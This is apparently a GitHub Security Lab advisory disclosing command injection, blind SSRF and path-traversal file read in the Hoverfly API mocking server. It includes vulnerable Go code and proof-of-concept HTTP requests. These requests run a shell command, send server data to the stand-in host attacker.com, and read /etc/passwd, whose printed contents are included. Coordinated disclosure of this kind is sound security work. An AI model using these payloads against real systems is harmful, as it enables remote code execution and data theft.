Coordinated Disclosure Timeline
- 2024-01-11: Reported through email.
- 2024-01-17: Reported through Private Vulnerability Reporting (PVR).
- 2024-08-05: Asked for update.
- 2024-09-03: Published advisory for GHSL-2023-274 (CVE-2024-45388).
- 2024-09-03: GHSL-2023-272 and GHSL-2023-273 are considered to work as expected since the admin API is not exposed on public network by default, and there is a way to secure the admin API using basic HTTP auth.
Summary
Hoverfly is a lightweight service virtualization/API simulation/API mocking tool for developers and testers. The hoverfly server is vulnerable to command injection, server-side request forgery (SSRF) and arbitrary file read.
Product
Hoverfly
Tested Version
Details
Issue 1: Command Injection in the /api/v2/hoverfly/middleware
endpoint (GHSL-2023-272
)
The /api/v2/hoverfly/middleware
endpoint accepts PUT
requests able to install middleware scripts that may execute arbitrary commands. An attacker may be able to control both the binary
file name and the argument file content, enabling them to execute arbitrary commands on the target’s system.
Untrusted data enters the application in the Put
handler method and flows into the SetMiddleware
method which, in turn, calls the ExecuteMiddleware
which, when remote
request parameter is empty, will execute the provided command locally by invoking the executeMiddlewareLocally
method:
func (this Middleware) executeMiddlewareLocally(pair models.RequestResponsePair) (models.RequestResponsePair, error) {
var middlewareCommand *exec.Cmd
if this.Script == nil {
middlewareCommand = exec.Command(this.Binary)
} else {
middlewareCommand = exec.Command(this.Binary, this.Script.Name())
}
Considering that the Hoverfly server does not enforce authentication by default, an attacker able to send a PUT
request to the Hoverfly server will be able to execute arbitrary commands on the underlaying server.
This issue was found with the Command built from user-controlled sources CodeQL for python.
Proof of Concept
Send a PUT
request to the /api/v2/hoverfly/middleware
with any shell script to be executed. In the example below, the script will create a /tmp/pwned
file in the server running Hoverfly.
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/json
Content-Length: 55
{"binary":"sh","script":"touch /tmp/pwned","remote":""}
Impact
This issue may lead to pre-auth Remote Code Execution (RCE).
Issue 2: Blind Server-Side Request Forgery (SSRF) in the /api/v2/hoverfly/middleware
endpoint (GHSL-2023-273
)
Similarly, the /api/v2/hoverfly/middleware
endpoint allows users to redirect the middleware script processing to a remote host by specifying an URL in the remote
request property. An attacker may be able to abuse this functionality to craft POST
requests to arbitrary hosts in behalf of the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/middleware/remote_middleware.go#L14C1-L24C82
func (this Middleware) executeMiddlewareRemotely(pair models.RequestResponsePair) (models.RequestResponsePair, error) {
pairViewBytes, err := json.Marshal(pair.ConvertToRequestResponsePairView())
if this.Remote == "" {
return pair, &MiddlewareError{
Message: "Remote middleware not set",
}
}
req, err := http.NewRequest("POST", this.Remote, bytes.NewBuffer(pairViewBytes))
This issue was found using the Uncontrolled data used in network request CodeQL query for python.
Proof of Concept
Send a PUT
request to the /api/v2/hoverfly/middleware
with the remote
property pointing to any arbitrary host.
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/json
Content-Length: 55
{"binary":"foo","script":"bar","remote":"http://attacker.com"}
The Hoverfly server will send the following request in turn:
POST / HTTP/1.1
Host: attacker.com
User-Agent: Go-http-client/1.1
Content-Length: 245
Content-Type: application/json
Accept-Encoding: gzip
{"response":{"status":200,"body":"ok","encodedBody":false,"headers":{"test_header":["true"]}},"request":{"path":"/","method":"GET","destination":"www.test.com","scheme":"","query":"","formData":null,"body":"","headers":{"test_header":["true"]}}}
Impact
This issue allows for crafting POST
requests on behalf of the Hoverfly server.
Issue 3: Arbitrary file read in the /api/v2/simulation
endpoint (GHSL-2023-274
)
The /api/v2/simulation
POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
if filepath.IsAbs(filePath) {
return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
}
fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
return "", err
}
return string(fileContents[:]), nil
}
Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath
base path by using ../
segments and reach any arbitrary files.
This issue was found using the Uncontrolled data used in path expression CodeQL query for python.
Proof of Concept
Send the following POST
request to read the /etc/passwd
file:
POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
Response will contain the Hoverfly’s server /etc/passwd
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close
{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}
Impact
This issue may lead to Information Disclosure.
CVE
- CVE-2024-45388
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-272
, GHSL-2023-273
, or GHSL-2023-274
in any communication regarding these issues.